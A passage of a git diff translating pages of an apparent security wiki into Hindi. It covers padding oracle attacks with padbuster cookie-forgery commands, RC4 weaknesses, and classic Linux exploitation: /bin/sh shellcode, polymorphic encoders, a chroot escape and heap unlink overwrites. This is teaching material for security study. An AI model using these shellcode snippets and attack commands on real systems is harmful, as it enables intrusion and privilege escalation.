करने के लिए आवश्यक होती है।\ +आम तौर पर **PKCS7** का उपयोग किया जाता है, जो पैडिंग **जेनरेट** करता है **ब्लॉक** को पूरा करने के लिए **आवश्यक** **बाइट्स** की **संख्या** को **दोहराते** हुए। उदाहरण के लिए, यदि अंतिम ब्लॉक में 3 बाइट्स की कमी है, तो पैडिंग `\x03\x03\x03` होगी। -Let's look at more examples with a **2 blocks of length 8bytes**: +आइए **8 बाइट्स की 2 ब्लॉक्स** के साथ और उदाहरण देखें: | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | | ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | @@ -30,51 +28,43 @@ Let's look at more examples with a **2 blocks of length 8bytes**: | P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** | | P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | -Note how in the last example the **last block was full so another one was generated only with padding**. +ध्यान दें कि अंतिम उदाहरण में **अंतिम ब्लॉक पूरा था इसलिए केवल पैडिंग के साथ एक और उत्पन्न किया गया**। # Padding Oracle -When an application decrypts encrypted data, it will first decrypt the data; then it will remove the padding. During the cleanup of the padding, if an **invalid padding triggers a detectable behaviour**, you have a **padding oracle vulnerability**. The detectable behaviour can be an **error**, a **lack of results**, or a **slower response**. +जब एक एप्लिकेशन एन्क्रिप्टेड डेटा को डिक्रिप्ट करता है, तो यह पहले डेटा को डिक्रिप्ट करेगा; फिर यह पैडिंग को हटा देगा। पैडिंग की सफाई के दौरान, यदि **अमान्य पैडिंग एक पहचानने योग्य व्यवहार को ट्रिगर करती है**, तो आपके पास **पैडिंग ओरेकल भेद्यता** है। पहचानने योग्य व्यवहार एक **त्रुटि**, **परिणामों की कमी**, या **धीमी प्रतिक्रिया** हो सकती है। -If you detect this behaviour, you can **decrypt the encrypted data** and even **encrypt any cleartext**. +यदि आप इस व्यवहार का पता लगाते हैं, तो आप **एन्क्रिप्टेड डेटा को डिक्रिप्ट** कर सकते हैं और यहां तक कि **किसी भी क्लियरटेक्स्ट को एन्क्रिप्ट** कर सकते हैं। ## How to exploit -You could use [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) to exploit this kind of vulnerability or just do - +आप इस प्रकार की भेद्यता का शोषण करने के लिए [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) का उपयोग कर सकते हैं या बस करें ``` sudo apt-get install padbuster ``` - -In order to test if the cookie of a site is vulnerable you could try: - +किसी साइट के कुकी की संवेदनशीलता का परीक्षण करने के लिए आप कोशिश कर सकते हैं: ```bash perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" ``` +**Encoding 0** का मतलब है कि **base64** का उपयोग किया गया है (लेकिन अन्य उपलब्ध हैं, मदद मेनू की जांच करें)। -**Encoding 0** means that **base64** is used (but others are available, check the help menu). - -You could also **abuse this vulnerability to encrypt new data. For example, imagine that the content of the cookie is "**_**user=MyUsername**_**", then you may change it to "\_user=administrator\_" and escalate privileges inside the application. You could also do it using `paduster`specifying the -plaintext** parameter: - +आप इस कमजोरियों का **दुरुपयोग करके नए डेटा को एन्क्रिप्ट कर सकते हैं। उदाहरण के लिए, कल्पना करें कि कुकी की सामग्री "**_**user=MyUsername**_**" है, तो आप इसे "\_user=administrator\_" में बदल सकते हैं और एप्लिकेशन के अंदर विशेषाधिकार बढ़ा सकते हैं। आप इसे `paduster` का उपयोग करके -plaintext** पैरामीटर निर्दिष्ट करके भी कर सकते हैं: ```bash perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator" ``` - -If the site is vulnerable `padbuster`will automatically try to find when the padding error occurs, but you can also indicating the error message it using the **-error** parameter. - +यदि साइट कमजोर है `padbuster` स्वचालित रूप से यह पता लगाने की कोशिश करेगा कि पैडिंग त्रुटि कब होती है, लेकिन आप **-error** पैरामीटर का उपयोग करके त्रुटि संदेश को भी इंगित कर सकते हैं। ```bash perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding" ``` +## सिद्धांत -## The theory - -In **summary**, you can start decrypting the encrypted data by guessing the correct values that can be used to create all the **different paddings**. Then, the padding oracle attack will start decrypting bytes from the end to the start by guessing which will be the correct value that **creates a padding of 1, 2, 3, etc**. +**सारांश** में, आप सभी **विभिन्न पैडिंग** बनाने के लिए उपयोग किए जा सकने वाले सही मानों का अनुमान लगाकर एन्क्रिप्टेड डेटा को डिक्रिप्ट करना शुरू कर सकते हैं। फिर, पैडिंग ऑरेकल अटैक अंत से शुरू होकर सही मान का अनुमान लगाते हुए बाइट्स को डिक्रिप्ट करना शुरू करेगा जो **1, 2, 3, आदि** की पैडिंग बनाता है। ![](<../images/image (629) (1) (1).png>) -Imagine you have some encrypted text that occupies **2 blocks** formed by the bytes from **E0 to E15**.\ -In order to **decrypt** the **last** **block** (**E8** to **E15**), the whole block passes through the "block cipher decryption" generating the **intermediary bytes I0 to I15**.\ -Finally, each intermediary byte is **XORed** with the previous encrypted bytes (E0 to E7). So: +कल्पना करें कि आपके पास कुछ एन्क्रिप्टेड टेक्स्ट है जो **2 ब्लॉक्स** में फैला हुआ है जो **E0 से E15** तक के बाइट्स से बना है।\ +**अंतिम** **ब्लॉक** (**E8** से **E15**) को **डिक्रिप्ट** करने के लिए, पूरा ब्लॉक "ब्लॉक सिफर डिक्रिप्शन" के माध्यम से जाता है जिससे **मध्यवर्ती बाइट्स I0 से I15** उत्पन्न होते हैं।\ +अंत में, प्रत्येक मध्यवर्ती बाइट को पिछले एन्क्रिप्टेड बाइट्स (E0 से E7) के साथ **XOR** किया जाता है। तो: - `C15 = D(E15) ^ E7 = I15 ^ E7` - `C14 = I14 ^ E6` @@ -82,33 +72,31 @@ Finally, each intermediary byte is **XORed** with the previous encrypted bytes ( - `C12 = I12 ^ E4` - ... -Now, It's possible to **modify `E7` until `C15` is `0x01`**, which will also be a correct padding. So, in this case: `\x01 = I15 ^ E'7` +अब, यह संभव है कि **`E7` को इस तरह से संशोधित करें कि `C15` `0x01` हो**, जो एक सही पैडिंग भी होगी। तो, इस मामले में: `\x01 = I15 ^ E'7` -So, finding E'7, it's **possible to calculate I15**: `I15 = 0x01 ^ E'7` +तो, E'7 को खोजकर, **I15** की गणना करना संभव है: `I15 = 0x01 ^ E'7` -Which allow us to **calculate C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7` +जो हमें **C15** की गणना करने की अनुमति देता है: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7` -Knowing **C15**, now it's possible to **calculate C14**, but this time brute-forcing the padding `\x02\x02`. +**C15** को जानकर, अब **C14** की गणना करना संभव है, लेकिन इस बार पैडिंग `\x02\x02` को ब्रूट-फोर्स करते हुए। -This BF is as complex as the previous one as it's possible to calculate the the `E''15` whose value is 0x02: `E''7 = \x02 ^ I15` so it's just needed to find the **`E'14`** that generates a **`C14` equals to `0x02`**.\ -Then, do the same steps to decrypt C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`** +यह BF पिछले एक के रूप में जटिल है क्योंकि यह `E''15` की गणना करना संभव है जिसका मान 0x02 है: `E''7 = \x02 ^ I15` इसलिए केवल **`E'14`** को खोजने की आवश्यकता है जो **`C14` को `0x02` के बराबर बनाता है**।\ +फिर, C14 को डिक्रिप्ट करने के लिए वही कदम उठाएं: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`** -**Follow this chain until you decrypt the whole encrypted text.** +**इस श्रृंखला का पालन करें जब तक आप पूरे एन्क्रिप्टेड टेक्स्ट को डिक्रिप्ट न कर लें।** -## Detection of the vulnerability +## भेद्यता का पता लगाना -Register and account and log in with this account .\ -If you **log in many times** and always get the **same cookie**, there is probably **something** **wrong** in the application. The **cookie sent back should be unique** each time you log in. If the cookie is **always** the **same**, it will probably always be valid and there **won't be anyway to invalidate i**t. +एक रजिस्टर और खाता बनाएं और इस खाते से लॉग इन करें।\ +यदि आप **कई बार लॉग इन करते हैं** और हमेशा **एक ही कुकी** प्राप्त करते हैं, तो संभवतः एप्लिकेशन में **कुछ** **गलत** है। **कुकी** हर बार लॉग इन करने पर अद्वितीय होनी चाहिए। यदि कुकी **हमेशा** **एक ही** है, तो यह संभवतः हमेशा मान्य होगी और इसे अमान्य करने का कोई तरीका नहीं होगा। -Now, if you try to **modify** the **cookie**, you can see that you get an **error** from the application.\ -But if you BF the padding (using padbuster for example) you manage to get another cookie valid for a different user. This scenario is highly probably vulnerable to padbuster. +अब, यदि आप **कुकी** को **संशोधित** करने की कोशिश करते हैं, तो आप देख सकते हैं कि आपको एप्लिकेशन से एक **त्रुटि** मिलती है।\ +लेकिन यदि आप पैडिंग को BF करते हैं (उदाहरण के लिए padbuster का उपयोग करते हुए) तो आप एक अन्य उपयोगकर्ता के लिए मान्य कुकी प्राप्त करने में सफल होते हैं। यह परिदृश्य padbuster के लिए अत्यधिक संभावित रूप से संवेदनशील है। -## References +## संदर्भ - [https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation)
-{% embed url="https://websec.nl/" %} - {{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/rc4-encrypt-and-decrypt.md b/src/cryptography/rc4-encrypt-and-decrypt.md index dc89fa296..d48deb94b 100644 --- a/src/cryptography/rc4-encrypt-and-decrypt.md +++ b/src/cryptography/rc4-encrypt-and-decrypt.md @@ -1,8 +1,8 @@ {{#include ../banners/hacktricks-training.md}} -If you can somehow encrypt a plaintext using RC4, you can decrypt any content encrypted by that RC4 (using the same password) just using the encryption function. +यदि आप किसी तरह RC4 का उपयोग करके एक plaintext को एन्क्रिप्ट कर सकते हैं, तो आप उसी पासवर्ड का उपयोग करके उस RC4 द्वारा एन्क्रिप्ट की गई किसी भी सामग्री को केवल एन्क्रिप्शन फ़ंक्शन का उपयोग करके डिक्रिप्ट कर सकते हैं। -If you can encrypt a known plaintext you can also extract the password. More references can be found in the HTB Kryptos machine: +यदि आप एक ज्ञात plaintext को एन्क्रिप्ट कर सकते हैं, तो आप पासवर्ड भी निकाल सकते हैं। अधिक संदर्भ HTB Kryptos मशीन में मिल सकते हैं: {% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %} diff --git a/src/emails-vulns.md b/src/emails-vulns.md index 15d9cc343..2f02487be 100644 --- a/src/emails-vulns.md +++ b/src/emails-vulns.md @@ -1,4 +1,4 @@ -# Emails Vulnerabilities +# ईमेल कमजोरियाँ {{#include ./banners/hacktricks-training.md}} @@ -7,4 +7,3 @@ ## {{#include ./banners/hacktricks-training.md}} - diff --git a/src/exploiting/linux-exploiting-basic-esp/README.md b/src/exploiting/linux-exploiting-basic-esp/README.md index b0feaf1a9..5f574aacf 100644 --- a/src/exploiting/linux-exploiting-basic-esp/README.md +++ b/src/exploiting/linux-exploiting-basic-esp/README.md @@ -4,39 +4,36 @@ ## **2.SHELLCODE** -Ver interrupciones de kernel: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “\_\_NR\_” +कर्नेल इंटरप्शन देखें: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “\_\_NR\_” setreuid(0,0); // \_\_NR_setreuid 70\ execve(“/bin/sh”, args\[], NULL); // \_\_NR_execve 11\ exit(0); // \_\_NR_exit 1 -xor eax, eax ; limpiamos eax\ -xor ebx, ebx ; ebx = 0 pues no hay argumento que pasar\ +xor eax, eax ; eax को साफ करें\ +xor ebx, ebx ; ebx = 0 क्योंकि कोई तर्क नहीं है\ mov al, 0x01 ; eax = 1 —> \_\_NR_exit 1\ -int 0x80 ; Ejecutar syscall +int 0x80 ; syscall निष्पादित करें -**nasm -f elf assembly.asm** —> Nos devuelve un .o\ -**ld assembly.o -o shellcodeout** —> Nos da un ejecutable formado por el código ensamblador y podemos sacar los opcodes con **objdump**\ -**objdump -d -Mintel ./shellcodeout** —> Para ver que efectivamente es nuestra shellcode y sacar los OpCodes - -**Comprobar que la shellcode funciona** +**nasm -f elf assembly.asm** —> हमें एक .o देता है\ +**ld assembly.o -o shellcodeout** —> हमें एक निष्पादन योग्य देता है जो असेंबली कोड से बना है और हम **objdump** के साथ ऑपकोड निकाल सकते हैं\ +**objdump -d -Mintel ./shellcodeout** —> यह देखने के लिए कि यह वास्तव में हमारी शेलकोड है और ऑपकोड निकालने के लिए +**जांचें कि शेलकोड काम करता है** ``` char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80” void main(){ - void (*fp) (void); - fp = (void *)shellcode; - fp(); +void (*fp) (void); +fp = (void *)shellcode; +fp(); } ``` +सिस्टम कॉल्स को सही तरीके से देखने के लिए, पिछले प्रोग्राम को संकलित करना चाहिए और सिस्टम कॉल्स को **strace ./PROGRAMA_COMPILADO** में दिखाई देना चाहिए। -Para ver que las llamadas al sistema se realizan correctamente se debe compilar el programa anterior y las llamadas del sistema deben aparecer en **strace ./PROGRAMA_COMPILADO** - -A la hora de crear shellcodes se puede realizar un truco. La primera instrucción es un jump a un call. El call llama al código original y además mete en el stack el EIP. Después de la instrucción call hemos metido el string que necesitásemos, por lo que con ese EIP podemos señalar al string y además continuar ejecutando el código. - -EJ **TRUCO (/bin/sh)**: +शेलकोड बनाने के समय एक ट्रिक की जा सकती है। पहली निर्देश एक कॉल पर जंप होती है। कॉल मूल कोड को बुलाता है और इसके अलावा स्टैक में EIP डालता है। कॉल निर्देश के बाद, हमने आवश्यक स्ट्रिंग डाली है, इसलिए उस EIP के साथ हम स्ट्रिंग को इंगित कर सकते हैं और कोड को जारी रख सकते हैं। +ईजे **ट्रिक (/bin/sh)**: ``` jmp 0x1f ; Salto al último call popl %esi ; Guardamos en ese la dirección al string @@ -56,9 +53,7 @@ int $0x80 ; exit(0) call -0x24 ; Salto a la primera instrución .string \”/bin/sh\” ; String a usar ``` - -**EJ usando el Stack(/bin/sh):** - +**EJ स्टैक का उपयोग करते हुए (/bin/sh):** ``` section .text global _start @@ -79,54 +74,49 @@ mov ecx, esp ; arg2 = args[] mov al, 0x0b ; Syscall 11 int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL) ``` - -**EJ FNSTENV:** - +**ईजे एफएनएसटीएनवी:** ``` fabs fnstenv [esp-0x0c] pop eax ; Guarda el EIP en el que se ejecutó fabs … ``` - **Egg Huter:** -Consiste en un pequeño código que recorre las páginas de memoria asociadas a un proceso en busca de la shellcode ahi guardada (busca alguna firma puesta en la shellcode). Útil en los casos en los que solo se tiene un pequeño espacio para inyectar código. +यह एक छोटा कोड है जो एक प्रक्रिया से जुड़े मेमोरी पृष्ठों को स्कैन करता है ताकि वहां संग्रहीत shellcode को खोजा जा सके (यह shellcode में रखे गए किसी हस्ताक्षर की तलाश करता है)। यह उन मामलों में उपयोगी है जहां कोड इंजेक्ट करने के लिए केवल एक छोटा स्थान होता है। **Shellcodes polimórficos** -Consisten el shells cifradas que tienen un pequeño códigos que las descifran y saltan a él, usando el truco de Call-Pop este sería un **ejemplo cifrado cesar**: - +यह एन्क्रिप्टेड शेल्स होते हैं जिनमें एक छोटा कोड होता है जो उन्हें डिक्रिप्ट करता है और उस पर कूदता है, Call-Pop ट्रिक का उपयोग करते हुए, यह एक **उदाहरण एन्क्रिप्टेड सीज़र** होगा: ``` global _start _start: - jmp short magic +jmp short magic init: - pop esi - xor ecx, ecx - mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá) +pop esi +xor ecx, ecx +mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá) desc: - sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar) - sub cl, 1 - jnz desc - jmp short sc +sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar) +sub cl, 1 +jnz desc +jmp short sc magic: - call init +call init sc: - ;Aquí va el shellcode +;Aquí va el shellcode ``` +## **5.पूरक विधियाँ** -## **5.Métodos complementarios** +**मुरात तकनीक** -**Técnica de Murat** +Linux में सभी प्रोग्राम 0xbfffffff से शुरू होकर मैप होते हैं। -En linux todos los progamas se mapean comenzando en 0xbfffffff +Linux में एक नए प्रोसेस की स्टैक कैसे बनाई जाती है, इसे देखकर एक ऐसा एक्सप्लॉइट विकसित किया जा सकता है कि प्रोग्राम एक ऐसे वातावरण में शुरू हो, जिसकी एकमात्र वैरिएबल शेलकोड हो। इसका पता इस प्रकार लगाया जा सकता है: addr = 0xbfffffff - 4 - strlen(NOMBRE_ejecutable_completo) - strlen(shellcode) -Viendo como se construye la pila de un nuevo proceso en linux se puede desarrollar un exploit de forma que programa sea arrancado en un entorno cuya única variable sea la shellcode. La dirección de esta entonces se puede calcular como: addr = 0xbfffffff - 4 - strlen(NOMBRE_ejecutable_completo) - strlen(shellcode) +इस प्रकार, शेलकोड के साथ पर्यावरण वैरिएबल का पता सरलता से प्राप्त किया जा सकता है। -De esta forma se obtendría de forma sensilla la dirección donde está la variable de entorno con la shellcode. - -Esto se puede hacer gracias a que la función execle permite crear un entorno que solo tenga las variables de entorno que se deseen +यह execle फ़ंक्शन के कारण संभव है, जो एक ऐसा वातावरण बनाने की अनुमति देता है जिसमें केवल इच्छित पर्यावरण वैरिएबल हों। ## @@ -138,120 +128,120 @@ Esto se puede hacer gracias a que la función execle permite crear un entorno qu ### -### **Format Strings to Buffer Overflows** +### **फॉर्मेट स्ट्रिंग्स से बफर ओवरफ्लो** -Tthe **sprintf moves** a formatted string **to** a **variable.** Therefore, you could abuse the **formatting** of a string to cause a **buffer overflow in the variable** where the content is copied to.\ -For example, the payload `%.44xAAAA` will **write 44B+"AAAA" in the variable**, which may cause a buffer overflow. +**sprintf** एक फॉर्मेटेड स्ट्रिंग को एक **वैरिएबल** में **स्थानांतरित** करता है। इसलिए, आप एक स्ट्रिंग के **फॉर्मेटिंग** का दुरुपयोग कर सकते हैं ताकि एक **बफर ओवरफ्लो** उत्पन्न हो सके, जहां सामग्री को कॉपी किया जाता है।\ +उदाहरण के लिए, पेलोड `%.44xAAAA` **44B+"AAAA" को वैरिएबल में लिखेगा**, जो बफर ओवरफ्लो का कारण बन सकता है। -### **\_\_atexit Structures** +### **\_\_atexit संरचनाएँ** > [!CAUTION] -> Nowadays is very **weird to exploit this**. +> आजकल इसे **शोषित करना बहुत अजीब है**। -**`atexit()`** is a function to which **other functions are passed as parameters.** These **functions** will be **executed** when executing an **`exit()`** or the **return** of the **main**.\ -If you can **modify** the **address** of any of these **functions** to point to a shellcode for example, you will **gain control** of the **process**, but this is currently more complicated.\ -Currently the **addresses to the functions** to be executed are **hidden** behind several structures and finally the address to which it points are not the addresses of the functions, but are **encrypted with XOR** and displacements with a **random key**. So currently this attack vector is **not very useful at least on x86** and **x64_86**.\ -The **encryption function** is **`PTR_MANGLE`**. **Other architectures** such as m68k, mips32, mips64, aarch64, arm, hppa... **do not implement the encryption** function because it **returns the same** as it received as input. So these architectures would be attackable by this vector. +**`atexit()`** एक फ़ंक्शन है जिसमें **अन्य फ़ंक्शन पैरामीटर के रूप में पास किए जाते हैं।** ये **फ़ंक्शन** तब **निष्पादित** होंगे जब **`exit()`** या **main** का **रिटर्न** किया जाएगा।\ +यदि आप इन **फ़ंक्शनों** में से किसी के **पते** को शेलकोड की ओर मोड़ सकते हैं, तो आप **प्रोसेस** पर **नियंत्रण** प्राप्त कर सकते हैं, लेकिन यह वर्तमान में अधिक जटिल है।\ +वर्तमान में, निष्पादित होने वाले **फ़ंक्शनों के पते** कई संरचनाओं के पीछे **छिपे** होते हैं और अंततः जिस पते की ओर वे इशारा करते हैं, वे फ़ंक्शनों के पते नहीं होते, बल्कि **XOR** और एक **रैंडम की** के साथ **एन्क्रिप्टेड** होते हैं। इसलिए वर्तमान में यह अटैक वेक्टर **कम से कम x86** और **x64_86** पर **बहुत उपयोगी नहीं है**।\ +**एन्क्रिप्शन फ़ंक्शन** **`PTR_MANGLE`** है। **अन्य आर्किटेक्चर** जैसे m68k, mips32, mips64, aarch64, arm, hppa... **एन्क्रिप्शन** फ़ंक्शन को लागू नहीं करते क्योंकि यह **उसी** को लौटाता है जो इसे इनपुट के रूप में प्राप्त होता है। इसलिए ये आर्किटेक्चर इस वेक्टर द्वारा हमले के लिए संवेदनशील होंगे। ### **setjmp() & longjmp()** > [!CAUTION] -> Nowadays is very **weird to exploit this**. +> आजकल इसे **शोषित करना बहुत अजीब है**। -**`Setjmp()`** allows to **save** the **context** (the registers)\ -**`longjmp()`** allows to **restore** the **context**.\ -The **saved registers** are: `EBX, ESI, EDI, ESP, EIP, EBP`\ -What happens is that EIP and ESP are passed by the **`PTR_MANGLE`** function, so the **architecture vulnerable to this attack are the same as above**.\ -They are useful for error recovery or interrupts.\ -However, from what I have read, the other registers are not protected, **so if there is a `call ebx`, `call esi` or `call edi`** inside the function being called, control can be taken over. Or you could also modify EBP to modify the ESP. +**`setjmp()`** **संदर्भ** (रजिस्टर) को **सहेजने** की अनुमति देता है।\ +**`longjmp()`** संदर्भ को **पुनर्स्थापित** करने की अनुमति देता है।\ +**सहेजे गए रजिस्टर** हैं: `EBX, ESI, EDI, ESP, EIP, EBP`\ +जो होता है वह यह है कि EIP और ESP **`PTR_MANGLE`** फ़ंक्शन द्वारा पास किए जाते हैं, इसलिए इस हमले के लिए संवेदनशील आर्किटेक्चर वही हैं जो ऊपर हैं।\ +ये त्रुटि पुनर्प्राप्ति या इंटरप्ट के लिए उपयोगी होते हैं।\ +हालांकि, मैंने जो पढ़ा है, उसके अनुसार, अन्य रजिस्टर सुरक्षित नहीं हैं, **इसलिए यदि फ़ंक्शन में `call ebx`, `call esi` या `call edi`** है, तो नियंत्रण लिया जा सकता है। या आप EBP को भी संशोधित कर सकते हैं ताकि ESP को संशोधित किया जा सके। -**VTable y VPTR en C++** +**C++ में VTable और VPTR** -Each class has a **Vtable** which is an array of **pointers to methods**. +प्रत्येक क्लास का एक **Vtable** होता है, जो **विधियों के लिए पॉइंटर्स** का एक एरे होता है। -Each object of a **class** has a **VPtr** which is a **pointer** to the arrayof its class. The VPtr is part of the header of each object, so if an **overwrite** of the **VPtr** is achieved it could be **modified** to **point** to a dummy method so that executing a function would go to the shellcode. +प्रत्येक **क्लास** का एक **VPtr** होता है, जो उसके क्लास के एरे का **पॉइंटर** होता है। VPtr प्रत्येक ऑब्जेक्ट के हेडर का हिस्सा होता है, इसलिए यदि **VPtr** का **ओवरराइट** किया जाता है, तो इसे एक डमी विधि की ओर **संशोधित** किया जा सकता है ताकि एक फ़ंक्शन को निष्पादित करने पर शेलकोड पर जाए। -## **Medidas preventivas y evasiones** +## **निवारक उपाय और बचाव** ### -**Reemplazo de Libsafe** +**Libsafe का प्रतिस्थापन** -Se activa con: LD_PRELOAD=/lib/libsafe.so.2\ -o\ +इसे सक्रिय किया जाता है: LD_PRELOAD=/lib/libsafe.so.2\ +या\ “/lib/libsave.so.2” > /etc/ld.so.preload -Se interceptan las llamadas a algunas funciones inseguras por otras seguras. No está estandarizado. (solo para x86, no para compilaxiones con -fomit-frame-pointer, no compilaciones estaticas, no todas las funciones vulnerables se vuelven seguras y LD_PRELOAD no sirve en binarios con suid). +यह कुछ असुरक्षित फ़ंक्शनों के कॉल को अन्य सुरक्षित फ़ंक्शनों द्वारा इंटरसेप्ट करता है। यह मानकीकृत नहीं है। (केवल x86 के लिए, -fomit-frame-pointer के साथ संकलनों के लिए नहीं, स्थिर संकलनों के लिए नहीं, सभी असुरक्षित फ़ंक्शन सुरक्षित नहीं बनते और LD_PRELOAD suid बाइनरी में काम नहीं करता)। -**ASCII Armored Address Space** +**ASCII आर्मर्ड एड्रेस स्पेस** -Consiste en cargar las librería compartidas de 0x00000000 a 0x00ffffff para que siempre haya un byte 0x00. Sin embargo, esto realmente no detiene a penas ningún ataque, y menos en little endian. +यह 0x00000000 से 0x00ffffff तक साझा लाइब्रेरी को लोड करने में शामिल है ताकि हमेशा एक बाइट 0x00 हो। हालाँकि, यह वास्तव में लगभग कोई हमला नहीं रोकता है, और विशेष रूप से लिटिल एंडियन में। **ret2plt** -Consiste en realiza un ROP de forma que se llame a la función strcpy@plt (de la plt) y se apunte a la entrada de la GOT y se copie el primer byte de la función a la que se quiere llamar (system()). Acto seguido se hace lo mismo apuntando a GOT+1 y se copia el 2ºbyte de system()… Al final se llama la dirección guardada en GOT que será system() +यह एक ROP करने में शामिल है ताकि strcpy@plt (plt से) फ़ंक्शन को कॉल किया जाए और GOT में एंट्री की ओर इशारा किया जाए और उस फ़ंक्शन के पहले बाइट को कॉपी किया जाए जिसे आप कॉल करना चाहते हैं (system())। इसके बाद, GOT+1 की ओर इशारा करते हुए वही किया जाता है और system() का 2º बाइट कॉपी किया जाता है… अंत में, GOT में संग्रहीत पते को कॉल किया जाता है जो system() होगा। -**Jaulas con chroot()** +**chroot() के साथ पिंजरे** -debootstrap -arch=i386 hardy /home/user —> Instala un sistema básico bajo un subdirectorio específico +debootstrap -arch=i386 hardy /home/user —> एक विशिष्ट उपनिर्देशिका के तहत एक बुनियादी सिस्टम स्थापित करता है। -Un admin puede salir de una de estas jaulas haciendo: mkdir foo; chroot foo; cd .. +एक व्यवस्थापक इनमें से किसी एक पिंजरे से बाहर निकल सकता है: mkdir foo; chroot foo; cd .. -**Instrumentación de código** +**कोड इंस्ट्रुमेंटेशन** -Valgrind —> Busca errores\ +Valgrind —> त्रुटियों की खोज\ Memcheck\ -RAD (Return Address Defender)\ +RAD (रिटर्न एड्रेस डिफेंडर)\ Insure++ -## **8 Heap Overflows: Exploits básicos** +## **8 हीप ओवरफ्लो: बुनियादी एक्सप्लॉइट** -**Trozo asignado** +**असाइन किया गया टुकड़ा** prev_size |\ -size | —Cabecera\ -\*mem | Datos +size | —हेडर\ +\*mem | डेटा -**Trozo libre** +**फ्री टुकड़ा** prev_size |\ size |\ -\*fd | Ptr forward chunk\ -\*bk | Ptr back chunk —Cabecera\ -\*mem | Datos +\*fd | अगले टुकड़े का पॉइंटर\ +\*bk | पिछले टुकड़े का पॉइंटर —हेडर\ +\*mem | डेटा -Los trozos libres están en una lista doblemente enlazada (bin) y nunca pueden haber dos trozos libres juntos (se juntan) +फ्री टुकड़े एक डबल लिंक्ड लिस्ट (बिन) में होते हैं और कभी भी दो फ्री टुकड़े एक साथ नहीं हो सकते (वे मिल जाते हैं)। -En “size” hay bits para indicar: Si el trozo anterior está en uso, si el trozo ha sido asignado mediante mmap() y si el trozo pertenece al arena primario. +“size” में यह संकेत देने के लिए बिट होते हैं: यदि पिछले टुकड़े का उपयोग किया जा रहा है, यदि टुकड़ा mmap() के माध्यम से असाइन किया गया है और यदि टुकड़ा प्राथमिक एरेना से संबंधित है। -Si al liberar un trozo alguno de los contiguos se encuentra libre , estos se fusionan mediante la macro unlink() y se pasa el nuevo trozo más grande a frontlink() para que le inserte el bin adecuado. +यदि एक टुकड़े को मुक्त करते समय कोई भी सन्निकट फ्री पाया जाता है, तो इन्हें unlink() मैक्रो के माध्यम से विलय किया जाता है और नए बड़े टुकड़े को frontlink() में भेजा जाता है ताकि इसे उचित बिन में डाला जा सके। unlink(){\ -BK = P->bk; —> El BK del nuevo chunk es el que tuviese el que ya estaba libre antes\ -FD = P->fd; —> El FD del nuevo chunk es el que tuviese el que ya estaba libre antes\ -FD->bk = BK; —> El BK del siguiente chunk apunta al nuevo chunk\ -BK->fd = FD; —> El FD del anterior chunk apunta al nuevo chunk\ +BK = P->bk; —> नए टुकड़े का BK वही है जो पहले से फ्री था\ +FD = P->fd; —> नए टुकड़े का FD वही है जो पहले से फ्री था\ +FD->bk = BK; —> अगले टुकड़े का BK नए टुकड़े की ओर इशारा करता है\ +BK->fd = FD; —> पिछले टुकड़े का FD नए टुकड़े की ओर इशारा करता है\ } -Por lo tanto si conseguimos modificar el P->bk con la dirección de un shellcode y el P->fd con la dirección a una entrada en la GOT o DTORS menos 12 se logra: +इसलिए यदि हम P->bk को शेलकोड के पते से और P->fd को GOT या DTORS में 12 से घटाकर संशोधित करने में सफल होते हैं, तो प्राप्त होता है: BK = P->bk = \&shellcode\ FD = P->fd = &\_\_dtor_end\_\_ - 12\ FD->bk = BK -> \*((&\_\_dtor_end\_\_ - 12) + 12) = \&shellcode -Y así se se ejecuta al salir del programa la shellcode. +और इस प्रकार, प्रोग्राम से बाहर निकलते समय शेलकोड निष्पादित होता है। -Además, la 4º sentencia de unlink() escribe algo y la shellcode tiene que estar reparada para esto: +इसके अलावा, unlink() का 4वां कथन कुछ लिखता है और शेलकोड को इसके लिए मरम्मत की जानी चाहिए: -BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor_end\_\_ - 12) —> Esto provoca la escritura de 4 bytes a partir del 8º byte de la shellcode, por lo que la primera instrucción de la shellcode debe ser un jmp para saltar esto y caer en unos nops que lleven al resto de la shellcode. +BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor_end\_\_ - 12) —> यह शेलकोड के 8वें बाइट से 4 बाइट लिखने का कारण बनता है, इसलिए शेलकोड का पहला निर्देश एक jmp होना चाहिए ताकि इसे छोड़ दिया जाए और शेलकोड के बाकी हिस्से की 